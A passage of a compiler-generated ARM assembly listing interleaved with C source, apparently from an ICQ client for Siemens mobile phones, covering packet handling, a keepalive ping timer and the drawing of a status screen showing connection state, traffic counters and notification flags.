000009C0 160100EF SWI +278 5314 } 5315 AddStringToLog(t,0x03,s,x_status_change,0xFFFFFFFF,1); \ ??ProcessPacket_63: \ 000009C4 0100A0E3 MOV R0,#+1 \ 000009C8 01002DE9 PUSH {R0} \ 000009CC FC3F85E2 ADD R3,R5,#+1008 \ 000009D0 0310A0E3 MOV R1,#+3 \ 000009D4 000060E2 RSB R0,R0,#+0 \ 000009D8 01002DE9 PUSH {R0} \ 000009DC 40208DE2 ADD R2,SP,#+64 \ 000009E0 0900A0E1 MOV R0,R9 \ 000009E4 ........ BL AddStringToLog 5316 ReqAddMsgToChat(t); \ 000009E8 0900A0E1 MOV R0,R9 \ 000009EC ........ BL ReqAddMsgToChat 5317 if (strlen(p->data)) // Если x-status не пустой \ 000009F0 080084E2 ADD R0,R4,#+8 \ 000009F4 1B0000EF SWI +27 \ 000009F8 000050E3 CMP R0,#+0 \ 000009FC 08D08DE2 ADD SP,SP,#+8 5318 RecountMenu(t, 1); \ 00000A00 0110A013 MOVNE R1,#+1 \ 00000A04 0900A011 MOVNE R0,R9 \ 00000A08 B0FDFF1A BNE ??ProcessPacket_9 5319 else 5320 RecountMenu(NULL, 0); \ 00000A0C 0010A0E3 MOV R1,#+0 \ 00000A10 0100A0E1 MOV R0,R1 \ 00000A14 ADFDFFEA B ??ProcessPacket_9 5321 } 5322 break; 5323 case T_LASTPRIVACY: 5324 CurrentPrivateStatus=p->data[0]; \ ??ProcessPacket_64: \ 00000A18 0800D4E5 LDRB R0,[R4, #+8] \ 00000A1C CC0287E5 STR R0,[R7, #+716] 5325 break; 5326 } 5327 mfree(p); \ ??ProcessPacket_2: \ 00000A20 0400A0E1 MOV R0,R4 \ 00000A24 150000EF SWI +21 5328 } \ 00000A28 58DF8DE2 ADD SP,SP,#+352 \ 00000A2C F08FBDE8 POP {R4-R11,PC} ;; return \ ??ProcessPacket_61: \ 00000A30 3A0A0000 DC8 ":\n",+0 5329 5330 5331 IPC_REQ tmr_gipc; \ In segment CODE, align 4, keep-with-next 5332 void process_active_timer(void) 5333 { \ process_active_timer: \ 00000000 30402DE9 PUSH {R4,R5,LR} 5334 if (connect_state>2) \ 00000004 ........ LDR R5,??DataTable98 ;; S_ICONS \ 00000008 0040A0E3 MOV R4,#+0 \ 0000000C E80295E5 LDR R0,[R5, #+744] \ 00000010 030050E3 CMP R0,#+3 \ 00000014 070000BA BLT ??process_active_timer_0 5335 { 5336 if (++tenseconds_to_ping>12) \ 00000018 280395E5 LDR R0,[R5, #+808] \ 0000001C 010080E2 ADD R0,R0,#+1 \ 00000020 280385E5 STR R0,[R5, #+808] \ 00000024 0D0050E3 CMP R0,#+13 \ 00000028 020000BA BLT ??process_active_timer_0 5337 { 5338 tenseconds_to_ping=0; 5339 SUBPROC((void *)do_ping); \ 0000002C 58009FE5 LDR R0,??process_active_timer_1 ;; do_ping \ 00000030 284385E5 STR R4,[R5, #+808] \ 00000034 710100EF SWI +369 5340 } 5341 } 5342 tmr_gipc.name_to=ipc_my_name; \ ??process_active_timer_0: \ 00000038 ........ LDR R1,??DataTable99 ;; `?` \ 0000003C F20FA0E3 MOV R0,#+968 \ 00000040 012080E0 ADD R2,R0,R1 \ 00000044 C82085E5 STR R2,[R5, #+200] 5343 tmr_gipc.name_from=ipc_my_name; \ 00000048 010080E0 ADD R0,R0,R1 \ 0000004C CC0085E5 STR R0,[R5, #+204] 5344 tmr_gipc.data=NULL; \ 00000050 D04085E5 STR R4,[R5, #+208] 5345 GBS_SendMessage(MMI_CEPID,MSG_IPC,IPC_TENSECONDS,&tmr_gipc); \ 00000054 C83085E2 ADD R3,R5,#+200 \ 00000058 0420A0E3 MOV R2,#+4 \ 0000005C B010A0E3 MOV R1,#+176 \ 00000060 DE1C81E3 ORR R1,R1,#0xDE00 \ 00000064 0900A0E3 MOV R0,#+9 \ 00000068 420C80E3 ORR R0,R0,#0x4200 \ 0000006C 000100EF SWI +256 5346 GBS_StartTimerProc(&tmr_active,TMR_SECOND*10,process_active_timer); \ 00000070 ........ LDR R2,??DataTable110 ;; process_active_timer \ 00000074 871EA0E3 MOV R1,#+2160 \ 00000078 9400A0E3 MOV R0,#+148 \ 0000007C 900D80E3 ORR R0,R0,#0x2400 \ 00000080 050080E0 ADD R0,R0,R5 \ 00000084 4D0000EF SWI +77 5347 } \ 00000088 3080BDE8 POP {R4,R5,PC} ;; return \ ??process_active_timer_1: \ 0000008C ........ DC32 do_ping 5348 5349 5350 //=============================================================================================== 5351 \ In segment CODE, align 4, keep-with-next 5352 void method0(MAIN_GUI *data) 5353 { \ method0: \ 00000000 F04F2DE9 PUSH {R4-R11,LR} \ 00000004 28D04DE2 SUB SP,SP,#+40 5354 int scr_w=ScreenW(); 5355 int scr_h=ScreenH(); 5356 int pos_status;//2026rev 5357 int pm = pictures_max, pl = pictures_loaded;//2026rev 5358 /* DrawRoundedFrame(0,YDISP,scr_w-1,scr_h-1,0,0,0, 5359 GetPaletteAdrByColorIndex(0), 5360 GetPaletteAdrByColorIndex(20));*/ 5361 5362 DrawRectangle(0,YDISP,scr_w-1,scr_h-1,0, 5363 GetPaletteAdrByColorIndex(1), 5364 GetPaletteAdrByColorIndex(1)); 5365 5366 DrawImg(0,0,S_ICONS[ICON_LOGO]); 5367 unsigned long RX=ALLTOTALRECEIVED; unsigned long TX=ALLTOTALSENDED; //by BoBa 10.07 5368 wsprintf(data->ws1,LG_GRSTATESTRING,connect_state,RXstate,RX,TX,sendq_l,hostname,logmsg); \ 00000008 ........ LDR R6,??DataTable119 ;; `?` \ 0000000C 0040A0E1 MOV R4,R0 \ 00000010 888100EF SWI +33160 \ 00000014 04008DE5 STR R0,[SP, #+4] \ 00000018 898100EF SWI +33161 \ 0000001C A8169FE5 LDR R1,??method0_0 ;; pictures_max \ 00000020 0080A0E1 MOV R8,R0 \ 00000024 001091E5 LDR R1,[R1, #+0] \ 00000028 0100A0E3 MOV R0,#+1 \ 0000002C 08108DE5 STR R1,[SP, #+8] \ 00000030 98169FE5 LDR R1,??method0_0+0x4 ;; pictures_loaded \ 00000034 001091E5 LDR R1,[R1, #+0] \ 00000038 0C108DE5 STR R1,[SP, #+12] \ 0000003C 2E0100EF SWI +302 \ 00000040 0050A0E1 MOV R5,R0 \ 00000044 0100A0E3 MOV R0,#+1 \ 00000048 2E0100EF SWI +302 \ 0000004C 04209DE5 LDR R2,[SP, #+4] \ 00000050 013048E2 SUB R3,R8,#+1 \ 00000054 012042E2 SUB R2,R2,#+1 \ 00000058 00208DE5 STR R2,[SP, #+0] \ 0000005C 20002DE9 PUSH {R5} \ 00000060 ........ LDR R5,??DataTable102 ;; S_ICONS \ 00000064 01002DE9 PUSH {R0} \ 00000068 1810A0E3 MOV R1,#+24 \ 0000006C 0000A0E3 MOV R0,#+0 \ 00000070 01002DE9 PUSH {R0} \ 00000074 B40100EF SWI +436 \ 00000078 502095E5 LDR R2,[R5, #+80] \ 0000007C 0010A0E3 MOV R1,#+0 \ 00000080 0000A0E3 MOV R0,#+0 \ 00000084 230000EF SWI +35 \ 00000088 F80295E5 LDR R0,[R5, #+760] \ 0000008C FC1295E5 LDR R1,[R5, #+764] \ 00000090 6420A0E3 MOV R2,#+100 \ 00000094 8C2D82E3 ORR R2,R2,#0x2300 \ 00000098 052082E0 ADD R2,R2,R5 \ 0000009C 04002DE9 PUSH {R2} \ 000000A0 C420A0E3 MOV R2,#+196 \ 000000A4 942D82E3 ORR R2,R2,#0x2500 \ 000000A8 052082E0 ADD R2,R2,R5 \ 000000AC 04002DE9 PUSH {R2} \ 000000B0 002395E5 LDR R2,[R5, #+768] \ 000000B4 04002DE9 PUSH {R2} \ 000000B8 02002DE9 PUSH {R1} \ 000000BC 01002DE9 PUSH {R0} \ 000000C0 E43295E5 LDR R3,[R5, #+740] \ 000000C4 E82295E5 LDR R2,[R5, #+744] \ 000000C8 340094E5 LDR R0,[R4, #+52] \ 000000CC DC1F86E2 ADD R1,R6,#+880 \ 000000D0 240100EF SWI +292 5369 if(pm != pl) \ 000000D4 28009DE5 LDR R0,[SP, #+40] \ 000000D8 2C109DE5 LDR R1,[SP, #+44] \ 000000DC 20D08DE2 ADD SP,SP,#+32 \ 000000E0 010050E1 CMP R0,R1 \ 000000E4 4400000A BEQ ??method0_1 5370 { 5371 DrawRectangle(0,scr_h-4-2*GetFontYSIZE(FONT_SMALL_BOLD),scr_w-1,scr_h-4-GetFontYSIZE(FONT_MEDIUM_BOLD)-2,0, 5372 GetPaletteAdrByColorIndex(0), 5373 GetPaletteAdrByColorIndex(0)); \ 000000E8 0000A0E3 MOV R0,#+0 \ 000000EC 2E0100EF SWI +302 \ 000000F0 0090A0E1 MOV R9,R0 \ 000000F4 0000A0E3 MOV R0,#+0 \ 000000F8 2E0100EF SWI +302 \ 000000FC 00A0A0E1 MOV R10,R0 \ 00000100 0500A0E3 MOV R0,#+5 \ 00000104 C50100EF SWI +453 \ 00000108 00B0A0E1 MOV R11,R0 \ 0000010C 0900A0E3 MOV R0,#+9 \ 00000110 C50100EF SWI +453 \ 00000114 00022DE9 PUSH {R9} \ 00000118 00042DE9 PUSH {R10} \ 0000011C 0010A0E3 MOV R1,#+0 \ 00000120 02002DE9 PUSH {R1} \ 00000124 0C209DE5 LDR R2,[SP, #+12] \ 00000128 047048E2 SUB R7,R8,#+4 \ 0000012C 0B1047E0 SUB R1,R7,R11 \ 00000130 023041E2 SUB R3,R1,#+2 \ 00000134 801047E0 SUB R1,R7,R0, LSL #+1 \ 00000138 0000A0E3 MOV R0,#+0 \ 0000013C B40100EF SWI +436 5374 pos_status = ((scr_w-1) * pl) / pm; 5375 DrawRectangle(1,scr_h-4-2*GetFontYSIZE(FONT_SMALL_BOLD)+1,pos_status,scr_h-4-GetFontYSIZE(FONT_MEDIUM_BOLD)-3,0, 5376 GetPaletteAdrByColorIndex(14), 5377 GetPaletteAdrByColorIndex(14)); \ 00000140 0E00A0E3 MOV R0,#+14 \ 00000144 2E0100EF SWI +302 \ 00000148 0090A0E1 MOV R9,R0 \ 0000014C 0E00A0E3 MOV R0,#+14 \ 00000150 2E0100EF SWI +302 \ 00000154 00A0A0E1 MOV R10,R0 \ 00000158 0500A0E3 MOV R0,#+5 \ 0000015C C50100EF SWI +453 \ 00000160 28008DE5 STR R0,[SP, #+40] \ 00000164 0900A0E3 MOV R0,#+9 \ 00000168 C50100EF SWI +453 \ 0000016C 00B0A0E1 MOV R11,R0 \ 00000170 00022DE9 PUSH {R9} \ 00000174 00042DE9 PUSH {R10} \ 00000178 0000A0E3 MOV R0,#+0 \ 0000017C 01002DE9 PUSH {R0} \ 00000180 24109DE5 LDR R1,[SP, #+36] \ 00000184 34009DE5 LDR R0,[SP, #+52] \ 00000188 000047E0 SUB R0,R7,R0 \ 0000018C 033040E2 SUB R3,R0,#+3 \ 00000190 18009DE5 LDR R0,[SP, #+24] \ 00000194 910000E0 MUL R0,R1,R0 \ 00000198 20109DE5 LDR R1,[SP, #+32] \ 0000019C ........ _BLF ??div32_a,??rA??div32_a \ 000001A0 0120A0E1 MOV R2,R1 \ 000001A4 8B0047E0 SUB R0,R7,R11, LSL #+1 \ 000001A8 011080E2 ADD R1,R0,#+1 \ 000001AC 0100A0E3 MOV R0,#+1 \ 000001B0 B40100EF SWI +436 5378 // wstrcatprintf(data->ws1,"\nLoading images..."); 5379 5380 if(total_smiles) \ 000001B4 18059FE5 LDR R0,??method0_0+0x8 ;; total_smiles \ 000001B8 001090E5 LDR R1,[R0, #+0] \ 000001BC 18D08DE2 ADD SP,SP,#+24 \ 000001C0 000051E3 CMP R1,#+0 \ 000001C4 0300000A BEQ ??method0_2 5381 { 5382 wstrcatprintf(data->ws1,"\nLoaded %d smiles",total_smiles); \ 000001C8 002090E5 LDR R2,[R0, #+0] \ 000001CC 340094E5 LDR R0,[R4, #+52] \ 000001D0 301086E2 ADD R1,R6,#+48 \ 000001D4 160200EF SWI +534 5383 } 5384 if (xstatuses_load) \ ??method0_2: \ 000001D8 F8049FE5 LDR R0,??method0_0+0xC ;; xstatuses_load \ 000001DC 000090E5 LDR R0,[R0, #+0] \ 000001E0 000050E3 CMP R0,#+0 \ 000001E4 0400000A BEQ ??method0_1 5385 { 5386 wstrcatprintf(data->ws1,"\nLoaded %d xstatus",total_xstatuses); \ 000001E8 ........ LDR R0,??DataTable103 ;; total_xstatuses \ 000001EC 441086E2 ADD R1,R6,#+68 \ 000001F0 002090E5 LDR R2,[R0, #+0] \ 000001F4 340094E5 LDR R0,[R4, #+52] \ 000001F8 160200EF SWI +534 5387 } 5388 } 5389 #ifdef kluchnik 5390 DrawString(data->ws1,3,3+YDISP,scr_w-4,scr_h-4-GetFontYSIZE(FONT_MEDIUM_BOLD), 5391 FONT_SMALL,0,GetPaletteAdrByColorIndex(0),GetPaletteAdrByColorIndex(23)); \ ??method0_1: \ 000001FC 1700A0E3 MOV R0,#+23 \ 00000200 2E0100EF SWI +302 \ 00000204 00A0A0E1 MOV R10,R0 \ 00000208 0000A0E3 MOV R0,#+0 \ 0000020C 2E0100EF SWI +302 \ 00000210 00B0A0E1 MOV R11,R0 \ 00000214 0500A0E3 MOV R0,#+5 \ 00000218 C50100EF SWI +453 \ 0000021C 04109DE5 LDR R1,[SP, #+4] \ 00000220 00042DE9 PUSH {R10} \ 00000224 049041E2 SUB R9,R1,#+4 \ 00000228 00082DE9 PUSH {R11} \ 0000022C 0010A0E3 MOV R1,#+0 \ 00000230 02002DE9 PUSH {R1} \ 00000234 047048E2 SUB R7,R8,#+4 \ 00000238 000047E0 SUB R0,R7,R0 \ 0000023C 0930A0E1 MOV R3,R9 \ 00000240 0810A0E3 MOV R1,#+8 \ 00000244 02002DE9 PUSH {R1} \ 00000248 01002DE9 PUSH {R0} \ 0000024C 340094E5 LDR R0,[R4, #+52] \ 00000250 1B20A0E3 MOV R2,#+27 \ 00000254 0310A0E3 MOV R1,#+3 \ 00000258 4C0100EF SWI +332 5392 wsprintf(data->ws2,percent_t,LG_GRSKEYEXIT); \ 0000025C 380094E5 LDR R0,[R4, #+56] \ 00000260 582086E2 ADD R2,R6,#+88 \ 00000264 201086E2 ADD R1,R6,#+32 \ 00000268 240100EF SWI +292 5393 DrawString(data->ws2,(scr_w >> 1),scr_h-4-GetFontYSIZE(FONT_MEDIUM_BOLD), 5394 scr_w-4,scr_h-4,FONT_MEDIUM_BOLD,TEXT_ALIGNRIGHT,GetPaletteAdrByColorIndex(0),GetPaletteAdrByColorIndex(23)); \ 0000026C 1700A0E3 MOV R0,#+23 \ 00000270 2E0100EF SWI +302 \ 00000274 0080A0E1 MOV R8,R0 \ 00000278 0000A0E3 MOV R0,#+0 \ 0000027C 2E0100EF SWI +302 \ 00000280 00A0A0E1 MOV R10,R0 \ 00000284 0500A0E3 MOV R0,#+5 \ 00000288 C50100EF SWI +453 \ 0000028C 18109DE5 LDR R1,[SP, #+24] \ 00000290 00012DE9 PUSH {R8} \ 00000294 C1B0A0E1 ASR R11,R1,#+1 \ 00000298 00042DE9 PUSH {R10} \ 0000029C 0410A0E3 MOV R1,#+4 \ 000002A0 02002DE9 PUSH {R1} \ 000002A4 0930A0E1 MOV R3,R9 \ 000002A8 002047E0 SUB R2,R7,R0 \ 000002AC 0510A0E3 MOV R1,#+5 \ 000002B0 02002DE9 PUSH {R1} \ 000002B4 0710A0E1 MOV R1,R7 \ 000002B8 02002DE9 PUSH {R1} \ 000002BC 380094E5 LDR R0,[R4, #+56] \ 000002C0 0B10A0E1 MOV R1,R11 \ 000002C4 4C0100EF SWI +332 \ 000002C8 28D08DE2 ADD SP,SP,#+40 5395 wsprintf(data->ws2,percent_t,cltop?LG_GRSKEYCLIST:empty_str); \ 000002CC 100395E5 LDR R0,[R5, #+784] \ 000002D0 201086E2 ADD R1,R6,#+32 \ 000002D4 000050E3 CMP R0,#+0 \ 000002D8 380094E5 LDR R0,[R4, #+56] \ 000002DC 60208612 ADDNE R2,R6,#+96 \ 000002E0 26208602 ADDEQ R2,R6,#+38 \ 000002E4 240100EF SWI +292 5396 DrawString(data->ws2,3,scr_h-4-GetFontYSIZE(FONT_MEDIUM_BOLD), 5397 scr_w>>1,scr_h-4,FONT_MEDIUM_BOLD,TEXT_ALIGNLEFT,GetPaletteAdrByColorIndex(0),GetPaletteAdrByColorIndex(23)); \ 000002E8 1700A0E3 MOV R0,#+23 \ 000002EC 2E0100EF SWI +302 \ 000002F0 0080A0E1 MOV R8,R0 \ 000002F4 0000A0E3 MOV R0,#+0 \ 000002F8 2E0100EF SWI +302 \ 000002FC 0090A0E1 MOV R9,R0 \ 00000300 0500A0E3 MOV R0,#+5 \ 00000304 C50100EF SWI +453 \ 00000308 00012DE9 PUSH {R8} \ 0000030C 00022DE9 PUSH {R9} \ 00000310 0110A0E3 MOV R1,#+1 \ 00000314 02002DE9 PUSH {R1} \ 00000318 0B30A0E1 MOV R3,R11 \ 0000031C 002047E0 SUB R2,R7,R0 5398 int y=140; \ 00000320 8C80A0E3 MOV R8,#+140 \ 00000324 0510A0E3 MOV R1,#+5 \ 00000328 02002DE9 PUSH {R1} \ 0000032C 0710A0E1 MOV R1,R7 \ 00000330 02002DE9 PUSH {R1} \ 00000334 380094E5 LDR R0,[R4, #+56] \ 00000338 0310A0E3 MOV R1,#+3 \ 0000033C 4C0100EF SWI +332 5399 char A[]="[A] %s"; \ 00000340 94139FE5 LDR R1,??method0_0+0x10 ;; `?` \ 00000344 34008DE2 ADD R0,SP,#+52 \ 00000348 0C0091E8 LDM R1,{R2,R3} \ 0000034C 0C0080E8 STM R0,{R2,R3} 5400 char I[]="[I]"; \ 00000350 001096E5 LDR R1,[R6, #0] \ 00000354 24008DE2 ADD R0,SP,#+36 \ 00000358 001080E5 STR R1,[R0, #+0] 5401 char V[]="[V]"; \ 0000035C 7C139FE5 LDR R1,??method0_0+0x14 ;; `?` \ 00000360 28008DE2 ADD R0,SP,#+40 \ 00000364 002091E5 LDR R2,[R1, #0] 5402 char S[]="[S]"; \ 00000368 74139FE5 LDR R1,??method0_0+0x18 ;; `?` \ 0000036C 002080E5 STR R2,[R0, #+0] \ 00000370 002091E5 LDR R2,[R1, #0] \ 00000374 2C008DE2 ADD R0,SP,#+44 \ 00000378 002080E5 STR R2,[R0, #+0] 5403 // char Vr[]="[Vr]; 5404 if(CurrentPrivateStatus==1) \ 0000037C CC0295E5 LDR R0,[R5, #+716] \ 00000380 14D08DE2 ADD SP,SP,#+20 \ 00000384 010050E3 CMP R0,#+1 \ 00000388 1D00001A BNE ??method0_3 5405 { 5406 wsprintf(data->ws2,I); \ 0000038C 380094E5 LDR R0,[R4, #+56] \ 00000390 10108DE2 ADD R1,SP,#+16 \ 00000394 240100EF SWI +292 5407 DrawString(data->ws2,2,y,ScreenW()-1,y+GetFontYSIZE(11),11,0,GetPaletteAdrByColorIndex(2),GetPaletteAdrByColorIndex(23)); \ 00000398 1700A0E3 MOV R0,#+23 \ 0000039C 2E0100EF SWI +302 \ 000003A0 0090A0E1 MOV R9,R0 \ 000003A4 0200A0E3 MOV R0,#+2 \ 000003A8 2E0100EF SWI +302 \ 000003AC 00A0A0E1 MOV R10,R0 \ 000003B0 0B00A0E3 MOV R0,#+11 \ 000003B4 C50100EF SWI +453 \ 000003B8 0080A0E1 MOV R8,R0 \ 000003BC 888100EF SWI +33160 \ 000003C0 00022DE9 PUSH {R9} \ 000003C4 00042DE9 PUSH {R10} \ 000003C8 0010A0E3 MOV R1,#+0 \ 000003CC 02002DE9 PUSH {R1} \ 000003D0 013040E2 SUB R3,R0,#+1 \ 000003D4 8C20A0E3 MOV R2,#+140 \ 000003D8 0B10A0E3 MOV R1,#+11 \ 000003DC 02002DE9 PUSH {R1} \ 000003E0 8C1088E2 ADD R1,R8,#+140 \ 000003E4 02002DE9 PUSH {R1} \ 000003E8 380094E5 LDR R0,[R4, #+56] \ 000003EC 0210A0E3 MOV R1,#+2 \ 000003F0 4C0100EF SWI +332 5408 y+=GetFontYSIZE(11)+5; \ 000003F4 0B00A0E3 MOV R0,#+11 \ 000003F8 C50100EF SWI +453 \ 000003FC 918080E2 ADD R8,R0,#+145 \ 00000400 14D08DE2 ADD SP,SP,#+20 5409 } 5410 5411 if(Is_Vibra_Enabled) \ ??method0_3: \ 00000404 700295E5 LDR R0,[R5, #+624] \ 00000408 000050E3 CMP R0,#+0 \ 0000040C 1E00000A BEQ ??method0_4 5412 { 5413 wsprintf(data->ws2,V); \ 00000410 380094E5 LDR R0,[R4, #+56] \ 00000414 14108DE2 ADD R1,SP,#+20 \ 00000418 240100EF SWI +292 5414 DrawString(data->ws2,2,y,ScreenW()-1,y+GetFontYSIZE(11),11,0,GetPaletteAdrByColorIndex(2),GetPaletteAdrByColorIndex(23)); \ 0000041C 1700A0E3 MOV R0,#+23 \ 00000420 2E0100EF SWI +302 \ 00000424 0090A0E1 MOV R9,R0 \ 00000428 0200A0E3 MOV R0,#+2 \ 0000042C 2E0100EF SWI +302 \ 00000430 00A0A0E1 MOV R10,R0 \ 00000434 0B00A0E3 MOV R0,#+11 \ 00000438 C50100EF SWI +453 \ 0000043C 00B0A0E1 MOV R11,R0 \ 00000440 888100EF SWI +33160 \ 00000444 00022DE9 PUSH {R9} \ 00000448 00042DE9 PUSH {R10} \ 0000044C 0010A0E3 MOV R1,#+0 \ 00000450 02002DE9 PUSH {R1} \ 00000454 013040E2 SUB R3,R0,#+1 \ 00000458 0820A0E1 MOV R2,R8 \ 0000045C 0B10A0E3 MOV R1,#+11 \ 00000460 02002DE9 PUSH {R1} \ 00000464 08108BE0 ADD R1,R11,R8 \ 00000468 02002DE9 PUSH {R1} \ 0000046C 380094E5 LDR R0,[R4, #+56] \ 00000470 0210A0E3 MOV R1,#+2 \ 00000474 4C0100EF SWI +332 5415 y+=GetFontYSIZE(11)+5; \ 00000478 0B00A0E3 MOV R0,#+11 \ 0000047C C50100EF SWI +453 \ 00000480 050080E2 ADD R0,R0,#+5 \ 00000484 088080E0 ADD R8,R0,R8 \ 00000488 14D08DE2 ADD SP,SP,#+20 5416 } 5417 5418 if(Is_Sounds_Enabled) \ ??method0_4: \ 0000048C BC0295E5 LDR R0,[R5, #+700] \ 00000490 000050E3 CMP R0,#+0 \ 00000494 1E00000A BEQ ??method0_5 5419 { 5420 wsprintf(data->ws2,S); \ 00000498 380094E5 LDR R0,[R4, #+56] \ 0000049C 18108DE2 ADD R1,SP,#+24 \ 000004A0 240100EF SWI +292 5421 DrawString(data->ws2,2,y,ScreenW()-1,y+GetFontYSIZE(11),11,0,GetPaletteAdrByColorIndex(2),GetPaletteAdrByColorIndex(23)); \ 000004A4 1700A0E3 MOV R0,#+23 \ 000004A8 2E0100EF SWI +302 \ 000004AC 0090A0E1 MOV R9,R0 \ 000004B0 0200A0E3 MOV R0,#+2 \ 000004B4 2E0100EF SWI +302 \ 000004B8 00A0A0E1 MOV R10,R0 \ 000004BC 0B00A0E3 MOV R0,#+11 \ 000004C0 C50100EF SWI +453 \ 000004C4 00B0A0E1 MOV R11,R0 \ 000004C8 888100EF SWI +33160 \ 000004CC 00022DE9 PUSH {R9} \ 000004D0 00042DE9 PUSH {R10} \ 000004D4 0010A0E3 MOV R1,#+0 \ 000004D8 02002DE9 PUSH {R1} \ 000004DC 013040E2 SUB R3,R0,#+1 \ 000004E0 0820A0E1 MOV R2,R8 \ 000004E4 0B10A0E3 MOV R1,#+11 \ 000004E8 02002DE9 PUSH {R1} \ 000004EC 08108BE0 ADD R1,R11,R8 \ 000004F0 02002DE9 PUSH {R1} \ 000004F4 380094E5 LDR R0,[R4, #+56] \ 000004F8 0210A0E3 MOV R1,#+2 \ 000004FC 4C0100EF SWI +332 5422 y+=GetFontYSIZE(11)+5; \ 00000500 0B00A0E3 MOV R0,#+11 \ 00000504 C50100EF SWI +453 \ 00000508 050080E2 ADD R0,R0,#+5 \ 0000050C 088080E0 ADD R8,R0,R8 \ 00000510 14D08DE2 ADD SP,SP,#+20 5423 } 5424 5425 if(Is_Double_Vibra_On) \ ??method0_5: \ 00000514 5C0295E5 LDR R0,[R5, #+604] \ 00000518 000050E3 CMP R0,#+0 \ 0000051C 1A00000A BEQ ??method0_6 5426 { 5427 wsprintf(data->ws2,"[Vr]"); \ 00000520 380094E5 LDR R0,[R4, #+56] \ 00000524 681086E2 ADD R1,R6,#+104 \ 00000528 240100EF SWI +292 5428 DrawString(data->ws2,2,y,ScreenW()-1,y+GetFontYSIZE(11),11,0,GetPaletteAdrByColorIndex(2),GetPaletteAdrByColorIndex(23)); \ 0000052C 1700A0E3 MOV R0,#+23 \ 00000530 2E0100EF SWI +302 \ 00000534 0090A0E1 MOV R9,R0 \ 00000538 0200A0E3 MOV R0,#+2 \ 0000053C 2E0100EF SWI +302 \ 00000540 00A0A0E1 MOV R10,R0 \ 00000544 0B00A0E3 MOV R0,#+11 \ 00000548 C50100EF SWI +453 \ 0000054C 00B0A0E1 MOV R11,R0 \ 00000550 888100EF SWI +33160 \ 00000554 00022DE9 PUSH {R9} \ 00000558 00042DE9 PUSH {R10} \ 0000055C 0010A0E3 MOV R1,#+0 \ 00000560 02002DE9 PUSH {R1} \ 00000564 013040E2 SUB R3,R0,#+1 \ 00000568 0820A0E1 MOV R2,R8 \ 0000056C 0B10A0E3 MOV R1,#+11 \ 00000570 02002DE9 PUSH {R1} \ 00000574 08108BE0 ADD R1,R11,R8 \ 00000578 02002DE9 PUSH {R1} \ 0000057C 380094E5 LDR R0,[R4, #+56] \ 00000580 0210A0E3 MOV R1,#+2 \ 00000584 4C0100EF SWI +332 \ 00000588 14D08DE2 ADD SP,SP,#+20 5429 } 5430 5431 if(away_m) \ ??method0_6: \ 0000058C 840295E5 LDR R0,[R5, #+644] \ 00000590 000050E3 CMP R0,#+0 \ 00000594 1F00000A BEQ ??method0_7 5432 { 5433 wsprintf(data->ws2,A,away_msg_time_dace); \ 00000598 2400A0E3 MOV R0,#+36 \ 0000059C 880D80E3 ORR R0,R0,#0x2200 \ 000005A0 052080E0 ADD R2,R0,R5 \ 000005A4 380094E5 LDR R0,[R4, #+56] \ 000005A8 20108DE2 ADD R1,SP,#+32 \ 000005AC 240100EF SWI +292 5434 DrawString(data->ws2,2,y,ScreenW()-1,y+GetFontYSIZE(11),11,0,GetPaletteAdrByColorIndex(2),GetPaletteAdrByColorIndex(23)); \ 000005B0 1700A0E3 MOV R0,#+23 \ 000005B4 2E0100EF SWI +302 \ 000005B8 0090A0E1 MOV R9,R0 \ 000005BC 0200A0E3 MOV R0,#+2 \ 000005C0 2E0100EF SWI +302 \ 000005C4 00A0A0E1 MOV R10,R0 \ 000005C8 0B00A0E3 MOV R0,#+11 \ 000005CC C50100EF SWI +453 \ 000005D0 00B0A0E1 MOV R11,R0 \ 000005D4 888100EF SWI +33160 \ 000005D8 00022DE9 PUSH {R9} \ 000005DC 00042DE9 PUSH {R10} \ 000005E0 0010A0E3 MOV R1,#+0 \ 000005E4 02002DE9 PUSH {R1} \ 000005E8 013040E2 SUB R3,R0,#+1 \ 000005EC 0820A0E1 MOV R2,R8 \ 000005F0 0B10A0E3 MOV R1,#+11 \ 000005F4 02002DE9 PUSH {R1} \ 000005F8 08108BE0 ADD R1,R11,R8 \ 000005FC 02002DE9 PUSH {R1} \ 00000600 380094E5 LDR R0,[R4, #+56] \ 00000604 0210A0E3 MOV R1,#+2 \ 00000608 4C0100EF SWI +332 5435 y+=GetFontYSIZE(11)+5; \ 0000060C 0B00A0E3 MOV R0,#+11 \ 00000610 C50100EF SWI +453 \ 00000614 14D08DE2 ADD SP,SP,#+20 5436 } 5437 5438 //wsprintf(data->ws2,percent_s,onlineTime); 5439 // onlineTime 5440 if(connect_state==3) \ ??method0_7: \ 00000618 E81295E5 LDR R1,[R5, #+744] \ 0000061C 380094E5 LDR R0,[R4, #+56] \ 00000620 030051E3 CMP R1,#+3 \ 00000624 0700001A BNE ??method0_8 5441 { 5442 wsprintf(data->ws2,"Online: %02d:%02d:%02d", uptimeHour, uptimeMin, uptimeSec); \ 00000628 A01295E5 LDR R1,[R5, #+672] \ 0000062C 02002DE9 PUSH {R1} \ 00000630 9C3295E5 LDR R3,[R5, #+668] \ 00000634 982295E5 LDR R2,[R5, #+664] \ 00000638 EC1F86E2 ADD R1,R6,#+944 \ 0000063C 240100EF SWI +292 \ 00000640 04D08DE2 ADD SP,SP,#+4 \ 00000644 010000EA B ??method0_9 5443 } 5444 else 5445 wsprintf(data->ws2,"Offline"); \ ??method0_8: \ 00000648 EA1F86E2 ADD R1,R6,#+936 \ 0000064C 240100EF SWI +292 5446 DrawString(data->ws2,1,scr_h-4-3*GetFontYSIZE(FONT_SMALL_BOLD)+1,ScreenW()-1,scr_h-4-GetFontYSIZE(FONT_MEDIUM_BOLD)-3 5447 ,FONT_SMALL,0,GetPaletteAdrByColorIndex(0),GetPaletteAdrByColorIndex(23)); \ ??method0_9: \ 00000650 1700A0E3 MOV R0,#+23 \ 00000654 2E0100EF SWI +302 \ 00000658 0080A0E1 MOV R8,R0 \ 0000065C 0000A0E3 MOV R0,#+0 \ 00000660 2E0100EF SWI +302 \ 00000664 0090A0E1 MOV R9,R0 \ 00000668 0500A0E3 MOV R0,#+5 \ 0000066C C50100EF SWI +453 \ 00000670 0050A0E1 MOV R5,R0 \ 00000674 888100EF SWI +33160 \ 00000678 0060A0E1 MOV R6,R0 \ 0000067C 0900A0E3 MOV R0,#+9 \ 00000680 C50100EF SWI +453 \ 00000684 00012DE9 PUSH {R8} \ 00000688 00022DE9 PUSH {R9} \ 0000068C 0010A0E3 MOV R1,#+0 \ 00000690 02002DE9 PUSH {R1} \ 00000694 013046E2 SUB R3,R6,#+1 \ 00000698 800080E0 ADD R0,R0,R0, LSL #+1 \ 0000069C 